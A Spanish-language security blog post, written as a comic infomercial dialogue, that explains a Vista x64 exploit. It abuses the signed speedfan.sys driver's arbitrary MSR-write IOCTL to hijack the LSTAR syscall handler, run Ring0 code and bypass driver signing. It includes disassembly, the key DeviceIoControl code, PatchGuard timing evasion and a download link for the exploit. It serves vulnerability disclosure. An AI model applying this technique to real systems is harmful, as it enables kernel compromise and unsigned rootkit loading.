BacalaoalpilPill
Bueno, después de la bluepill,la redpill y la purplepill llega la bacalaoalpilPill. Esta noche tenemos a John Wuaichachi and Maik forever para presentárnosla.
JW: ¡ Fantástico Maik !, nos encontramos otra noche aquí para presentar a nuestra distinguida audiencia un producto que revolucionará lo que tenga que revolucionar si es que revoluciona algo.
MF: ¿Y de qué se trata John?
JW: ¡Me alegra que me hagas esta pregunta Maik!,¡DEPUTAMADRE MAIK! tenemos en nuestras manos la bacalaoalpilPill, un exploit que usa un driver que está firmado, y por lo tanto puede ser cargado en Vista x64, como pasarela para ejecutar código no firmado en el contexto del Kernel.
MF: ¡Estoy aluciflipando John! ¿Y como se ha conseguido?
JW: Fabuloso Maik, estaba esperando que me dieras esa entrada para explicarles a nuestros telespectadores el funcionamiento de la bacalaoalpilPill. Tras 4 duros años montando trenes en la república de Moldavia en pleno invierno, se pudo encontrar esta porción de código dentro de un driver llamado speedfan.sys que pertenece a un programa freeware del mismo nombre (www.almico.com).
jb short loc_11171
cmp dword ptr [rdx+10h],0Ch ;InputBuffer size
jb short loc_11171
mov r8d, [rsi+4] ; inputBuffer[1]
mov r9d, [rsi+8] ; InputBuffer[2]
mov rax, r8
shl rax, 20h
or rax, r9
mov rdx, rax
shr rdx, 20h
mov ecx, [rsi] ; inputBuffer[0]
wrmsr ; Chungo
Como puedes ver Maik, este código pertenece a un handler de un IOCTL que implementa el driver. Ya que este software es usado para controlar ciertas características de la temperatura del hardware, usa un par de IOCTLs para leer y escribir MSR arbitrarios, algunos de estos MSRs sirven para controlar características termales del hardware. El problema está en que también podríamos sobreescribir otros MSR que son usados por el sistema operativo en operaciones cruciales, tales como definir la direccion a la que apuntará syscall (64-bit), que se guarda en el MSR LSTAR (dirección 0xc00000082 relativa al MSR). Vamos a ver cómo se inicializa en el Kernel de Vista
PAGELK:00000001402092CA mov ecx, 0C0000083h
PAGELK:00000001402092CF mov rdx, rax
PAGELK:00000001402092D2 shr rdx, 20h
PAGELK:00000001402092D6 wrmsr
PAGELK:00000001402092D8 lea rax, KiSystemCall64
PAGELK:00000001402092DF mov ecx, 0C0000082h
PAGELK:00000001402092E4 mov rdx, rax
PAGELK:00000001402092E7 shr rdx, 20h
PAGELK:00000001402092EB wrmsr
De esta manera, si establecemos nuestra propio handler para KiSystemCall64 sobreescribiendo el MSR LSTAR podremos ejecutar código en Ring0.
MF: ¡ Vaya John, esto es interesante ! ¿esta técnica es nueva?
JW: Para nada Maik, el MSR hooking lleva ya mucho tiempo siendo implementado en rootkits, como «método» de exploit fue presentado por Joanna Rutwoska en el BlackHat de este año, usando para ello una vulnerabilidad en un driver de NVIDIA. Por lo que yo se, a parte de esa vulnerabilidad , no hay mas casos documentados de otro driver con el mismo tipo de fallo salvo este del que estamos hablando hoy Maik.
MF: ¡ jopelines ! ¿ y como nos aseguramos que la thread que está ejecutando el exploit no es preemted por otra y nos arruina el negocio ?
JW: Tu eres mu tonto Maik, ¿quien dice a estas alturas «jopelines»?. En cualquier caso, para ello tenemos que elevar la prioridad de la thread hasta realtime con el fin de mantenernos todo el tiempo posible y evitar que en el intervalo entre que sobreescribimos el MSR y ejecutamos nuestra shellcode para volverlo a restaurar, ninguna otra thread es ejecutada. No tiene mucho misterio Maik!
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
DeviceIoControl(hSdevice,
IOCTL_WRMSR,
(LPVOID)lpinBuff,0xC,
(LPVOID)lpoutBuff,0x8,
&junk,
NULL);
_NtClose(hSdevice); // forzamos que se llame a KiSystemCall64
MF: ¿Y que hay del PatchGuard, no lo detectará?
JW: ¡No hay problema Maik! PatchGuard es cierto que entre las estructuras que verifica, una de ellas es si se ha modificado el MSR LSTAR, pero esto ocurre a intervalos de entre 5/10 minutos, por lo que nosotros sólo necesitamos unos pocos milisegundos para explotar el fallo y dejarlo todo como estaba.
MF: ¿Y ahora qué pasa, ya se pueden cargar drivers no firmados en Vista?
JW: Pues sí, hasta que Microsoft revoque el certificado con el que fue firmado el driver, este seguirá siendo válido.
MF:¿ Y donde puedo conseguir el exploit John?
JW: Pues te lo puedes descargar en forma de plugin para el Kartoffel en http://kartoffel.reversemode.com/downloads.php . Pero no queda ahí la cosa Maik,a los 20 primeros que se lo descarguen les enviaremos TOTALMENTE GRATIS el fantástico ¡¡CUCHIDOR!!
MF:¡ No me lo puedo creer John! ¿estás hablando del auténtico y genuino CUCHIDOR?
JW: Por supuesto Maik, ¿no crees que muchas veces necesitariamos tres manos?, una para el cuchillo, otra para la cuchara y otra para el tenedor?
MF: John, es muy cierto, yo siempre me lio con los cubiertos ! No se para que sirve cada cual ! ¡ Vaya lío ! ¿No hay algo que sea más sencillo?
JW: Claro Maik, por fin podrás comer sopa sin hacer aquaplanin en la moqueta, porque ahora si eres uno de los 20 primeros, tendras acceso al CUCHIDOR que es , presta atención Maik,:
+ Un cuchillo
+ Una cuchara
+ Un tenedor
Todo en el mismo cubierto!!! ¡¡NO PUEDES DEJAR PASAR ESTA OPORTUNIDAD DE OBTENER EL CUCHIDOR!!
MF: ¡Guau John! Creo que mi vida no será la misma desde ahora
JW: Te puedo asegurar que no Maik. Hazte un porro no me seas husmias.